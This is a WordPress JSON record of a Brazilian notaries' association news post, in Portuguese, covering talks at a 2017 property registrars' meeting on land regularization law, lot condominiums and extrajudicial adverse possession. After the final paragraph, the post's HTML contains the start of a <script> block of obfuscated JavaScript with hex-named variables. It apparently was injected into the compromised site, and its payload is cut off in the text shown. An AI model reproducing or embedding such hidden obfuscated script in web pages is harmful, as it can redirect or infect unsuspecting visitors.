{"id":1566,"date":"2017-10-30T09:04:04","date_gmt":"2017-10-30T11:04:04","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/direito-contemporaneo-e-usucapiao-extrajudicial-em-destaque-no-evento-do-irib\/"},"modified":"2017-10-30T09:04:04","modified_gmt":"2017-10-30T11:04:04","slug":"direito-contemporaneo-e-usucapiao-extrajudicial-em-destaque-no-evento-do-irib","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/direito-contemporaneo-e-usucapiao-extrajudicial-em-destaque-no-evento-do-irib\/","title":{"rendered":"Direito Contempor\u00e2neo e Usucapi\u00e3o Extrajudicial em destaque no evento do IRIB"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O &uacute;ltimo dia do 36&ordm; Encontro Regional dos Oficiais de Registro de Im&oacute;veis teve in&iacute;cio com a palestra do desembargador do Tribunal de Justi&ccedil;a do Estado de S&atilde;o Paulo (TJ-SP), Francisco Eduardo Loureiro. Com o tema <strong><em>&ldquo;Direito Civil Contempor&acirc;neo e os novos Direitos Reais &ndash; A fun&ccedil;&atilde;o social do Registro de Im&oacute;veis na regulariza&ccedil;&atilde;o fundi&aacute;ria&rdquo;<\/em><\/strong>, a apresenta&ccedil;&atilde;o teve como foco debater as mudan&ccedil;as que a Lei 13.465\/17 ir&aacute; trazer.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em sua explana&ccedil;&atilde;o, Loureiro afirmou que a nova lei de regulariza&ccedil;&atilde;o fundi&aacute;ria &eacute; muito positiva, mas que o tema j&aacute; &eacute; bastante complexo para que sejam inseridas outras mat&eacute;rias dentro da proposta legislativa.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;Quando eu vi a lei, a primeira coisa que me chamou aten&ccedil;&atilde;o foi o tamanho. A multiplicidade de dispositivos contidos em uma &uacute;nica reforma administrativa e que trata n&atilde;o somente de regulariza&ccedil;&atilde;o de propriedade fundi&aacute;ria, mas, como &eacute; h&aacute;bito no Brasil, quando se faz uma proposta legislativa, que se insiram nessa proposta, o que chamamos de jabutis&rdquo;, disse. &ldquo;Terceiros interessados, e que at&eacute; tem legitimidade, insiram em uma proposta legislativa de regulamenta&ccedil;&atilde;o fundi&aacute;ria, assuntos que nada tem haver com ela. O que n&atilde;o contribui para sua interpreta&ccedil;&atilde;o. &nbsp;Por exemplo, n&atilde;o vejo nenhuma rela&ccedil;&atilde;o entre a regulariza&ccedil;&atilde;o fundi&aacute;ria e a altera&ccedil;&atilde;o da lei 9514\/97. As reformas s&atilde;o boas. As altera&ccedil;&otilde;es s&atilde;o bem-vindas, mas n&atilde;o nesse regime jur&iacute;dico. E sim, em uma lei apartada&rdquo;, afirmou. &ldquo;Mas em compara&ccedil;&atilde;o com a Medida Provis&oacute;ria (759) que havia antes do regime jur&iacute;dico, eu diria, que a lei melhorou 200%&rdquo;, afirmou ele.<\/p>\n<p style=\"text-align: center;\"><img decoding=\"async\" alt=\"\" class=\"aligncenter img-responsive size-large wp-image-35058\" src=\"https:\/\/www.anoregmt.org.br\/novo\/wp-content\/uploads\/2023\/05\/52927493751_ce472bb85a_o-1024x683.jpg\" style=\"height:560px; width:840px\" \/><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O desembargador ainda destacou o que se espera dos registradores de im&oacute;veis na implanta&ccedil;&atilde;o da nova regulariza&ccedil;&atilde;o fundi&aacute;ria. &ldquo;A fun&ccedil;&atilde;o do registrador &eacute; passar uma borracha na sua cabe&ccedil;a de velhos conceitos e abri-la para novos conceitos; E entender que a proposta legislativa de regulariza&ccedil;&atilde;o fundi&aacute;ria n&atilde;o se funda em tudo aquilo que conhecemos e que estava previsto no C&oacute;digo Civil. Ela exige uma nova mentalidade dos registradores e dos ju&iacute;zes&rdquo;, concluiu.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Com o tema <strong><em>&ldquo;Condom&iacute;nio de Lotes&rdquo;<\/em><\/strong>, a segunda palestra do dia ficou sob a responsabilidade do advogado, membro do Instituto de Advogados Brasileiros, consultor e parecerista em Direito Privado, Melhim Namen Chalhub. Durante a apresenta&ccedil;&atilde;o, a plateia levantou diversas d&uacute;vidas em rela&ccedil;&atilde;o &agrave;s diretrizes da nova legisla&ccedil;&atilde;o.<\/p>\n<p style=\"text-align: center;\"><img decoding=\"async\" alt=\"\" class=\"aligncenter img-responsive size-large wp-image-35078\" src=\"http:\/\/www.anoreg.org.br\/site\/wp-content\/uploads\/2017\/10\/DSC_0383-1024x683.jpg\" style=\"height:560px; width:840px\" \/><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Para Chalhub, os questionamentos surgem do fato de que a lei deixou de definir v&aacute;rios requisitos e disposi&ccedil;&otilde;es espec&iacute;ficas sobre o condom&iacute;nio de lotes, o que d&aacute; margem &agrave; d&uacute;vidas. &ldquo;Na realidade, me parece que a lei precisaria ser mais precisa em rela&ccedil;&atilde;o a esses requisitos. Embora os requisitos para implanta&ccedil;&atilde;o de um condom&iacute;nio sejam muito pr&oacute;ximos dos requisitos de loteamento, porque estruturalmente, fisicamente s&atilde;o divis&otilde;es de glebas semelhantes, a lei deveria dispor de maneira expl&iacute;cita sobre os requisitos&rdquo;, explicou.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ainda de acordo com Chalhub, a Lei 13.465\/17 n&atilde;o traz exatamente novidades sobre o tema, mas torna a exist&ecirc;ncia de condom&iacute;nio de lote expl&iacute;cita. &ldquo;Antes o condom&iacute;nio j&aacute; era at&eacute; praticado com fundamento legal e at&eacute; mesmo jurisprudencial em rela&ccedil;&atilde;o aquele recurso extraordin&aacute;rio com repercuss&atilde;o geral do STF (RE 607.940-DF), que reconhece a constitucionalidade da lei do Distrito Federal, que institui o condom&iacute;nio, mas agora vem positivar. Vem afastar d&uacute;vidas quanto &agrave; constitucionalidade e legalidade do condom&iacute;nio de lote&rdquo;, afirmou.<\/p>\n<p style=\"text-align: center;\"><img decoding=\"async\" alt=\"\" class=\"aligncenter img-responsive size-large wp-image-35083\" src=\"http:\/\/www.anoreg.org.br\/site\/wp-content\/uploads\/2017\/10\/DSC_0388-1024x683.jpg\" style=\"height:560px; width:840px\" \/><\/p>\n<p style=\"text-align: justify;\"><strong>Usucapi&atilde;o extrajudicial<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; <\/strong>Detalhando o artigo 216-A da lei 13.465\/17, que trata sobre a usucapi&atilde;o extrajudicial, o registrador de im&oacute;veis de Mongagu&aacute;, Luiz Gustavo Montemor, abriu sua palestra abordando a import&acirc;ncia do papel dos oficiais de registradores de im&oacute;veis na implanta&ccedil;&atilde;o da nova regulamenta&ccedil;&atilde;o<\/p>\n<p style=\"text-align: center;\"><img decoding=\"async\" alt=\"\" class=\"aligncenter img-responsive size-large wp-image-35084\" src=\"http:\/\/www.anoreg.org.br\/site\/wp-content\/uploads\/2017\/10\/DSC_0389-1024x683.jpg\" style=\"height:560px; width:840px\" \/><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;Primeiro, &eacute; importante dizer que essa usucapi&atilde;o extrajudicial revela mais uma faceta do fen&ocirc;meno da desjudicializa&ccedil;&atilde;o. Tamb&eacute;m chamada de extrajudicializa&ccedil;&atilde;o. Lastreada em iniciativas de sucesso como a lei 10.931, que trata da retifica&ccedil;&atilde;o administrativa E da Lei 11.441\/07, que trata de separa&ccedil;&otilde;es, div&oacute;rcios e partilhas extrajudiciais&rdquo;, disse. &ldquo;A usucapi&atilde;o ser&aacute; aquilo que quisermos que ela seja. Ou ser&aacute; fadada ao fracasso ou ser&aacute; um poderoso instrumento de regulariza&ccedil;&atilde;o fundi&aacute;ria. A lei tem tudo para ser um sucesso. Est&aacute; nas nossas m&atilde;os, mas isso exige um conhecimento mais aprofundado do tema, para al&eacute;m do que j&aacute; temos&rdquo;, afirmou.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Durante sua explana&ccedil;&atilde;o, Montemor ainda apresentou algumas d&uacute;vidas e reflex&otilde;es sobre a reda&ccedil;&atilde;o da lei como, por exemplo, sobre se as a&ccedil;&otilde;es julgadas improcedentes impedem a abertura de um pedido na via extrajudicial.<\/p>\n<p style=\"text-align: center;\"><img decoding=\"async\" alt=\"\" class=\"aligncenter img-responsive size-large wp-image-35095\" src=\"http:\/\/www.anoreg.org.br\/site\/wp-content\/uploads\/2017\/10\/DSC_0400-1024x683.jpg\" style=\"height:560px; width:840px\" \/><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;Com rela&ccedil;&atilde;o &agrave;s a&ccedil;&otilde;es improcedentes, apesar de n&atilde;o ser um processualista, a conclus&atilde;o que cheguei &eacute; que o que h&aacute; de ser analisado s&atilde;o os efeitos da coisa julgada formal e material. Um exemplo. Uma improced&ecirc;ncia de uma a&ccedil;&atilde;o de usucapi&atilde;o em raz&atilde;o de n&atilde;o ter preenchido tempo para tanto. Ela produz os efeitos da coisa julgada formal. Mesmo porque se a pessoa ou o requerente preencher esse tempo, ele poder&aacute; renovar seu pedido no Judici&aacute;rio. Do mesmo que, se ele preferir, pode fazer isso no extrajudicial. Mas e uma improced&ecirc;ncia em raz&atilde;o do pedido recair sobre um bem p&uacute;blico. Ele pode renovar o pedido na esfera judicial? N&atilde;o. O pedido &eacute; o mesmo. As partes s&atilde;o as mesmas. A causa do pedido &eacute; a mesma. Deste modo, jamais o pedido poder&aacute; ser processo na via extrajudicial&rdquo;, explicou.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ao final da palestra, a ju&iacute;za da 1&ordf; Vara de Registros P&uacute;blicos de S&atilde;o Paulo (SP), T&acirc;nia Mara Ahualli, levantou uma quest&atilde;o sobre os emolumentos. &ldquo;Esse &eacute; um tema muito complicado. Porque n&atilde;o h&aacute; previs&atilde;o do pagamento e n&atilde;o h&aacute; previs&atilde;o da dispensa dos emolumentos. Ent&atilde;o, como n&oacute;s vamos agir? Acho que acabe a Corregedoria Geral da Justi&ccedil;a falar para todo o Estado sobre essa cobran&ccedil;a. A Corregedoria Nacional at&eacute; fez uma sugest&atilde;o, mas me parece que nessa &aacute;rea ela n&atilde;o tem como disciplinar, sem que haja um pronunciamento da Corregedoria Estadual. O novo C&oacute;digo de Processo Civil, para as a&ccedil;&otilde;es judici&aacute;rias, previu um parcelamento do pagamento de custas e despesas. Existiria, ent&atilde;o, alguma possibilidade de parcelamento dos emolumentos no extrajudicial para melhorar o acesso da popula&ccedil;&atilde;o. Acho que n&atilde;o h&aacute; como ser concedida a gratuidade total, pois inviabilizaria totalmente a atividade&rdquo;, perguntou.<\/p>\n<p style=\"text-align: center;\"><img decoding=\"async\" alt=\"\" class=\"aligncenter img-responsive size-large wp-image-35097\" src=\"http:\/\/www.anoreg.org.br\/site\/wp-content\/uploads\/2017\/10\/DSC_0402-1024x683.jpg\" style=\"height:560px; width:840px\" \/><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;Com rela&ccedil;&atilde;o ao parcelamento ou a gratuidade, vejo um problema porque o novo CPC diz que a quest&atilde;o do parcelamento se daria, ao que me parece, ap&oacute;s o registro. Porque o oficial n&atilde;o poderia, e a&iacute; surge o problema de negar o registro, primeiro baseado em uma decis&atilde;o judicial. E n&oacute;s estamos falando aqui de um procedimento administrativo. A quest&atilde;o que se p&otilde;e &eacute; como conjugar ent&atilde;o que esse pedido extrajudicial possa tramitar gratuitamente se n&atilde;o h&aacute; nenhuma decis&atilde;o judicial definindo uma gratuidade. Ent&atilde;o, como discutir uma revoga&ccedil;&atilde;o ou parcelamento? Este &eacute; um ponto que precisa ser pensado&rdquo;, respondeu Montemor.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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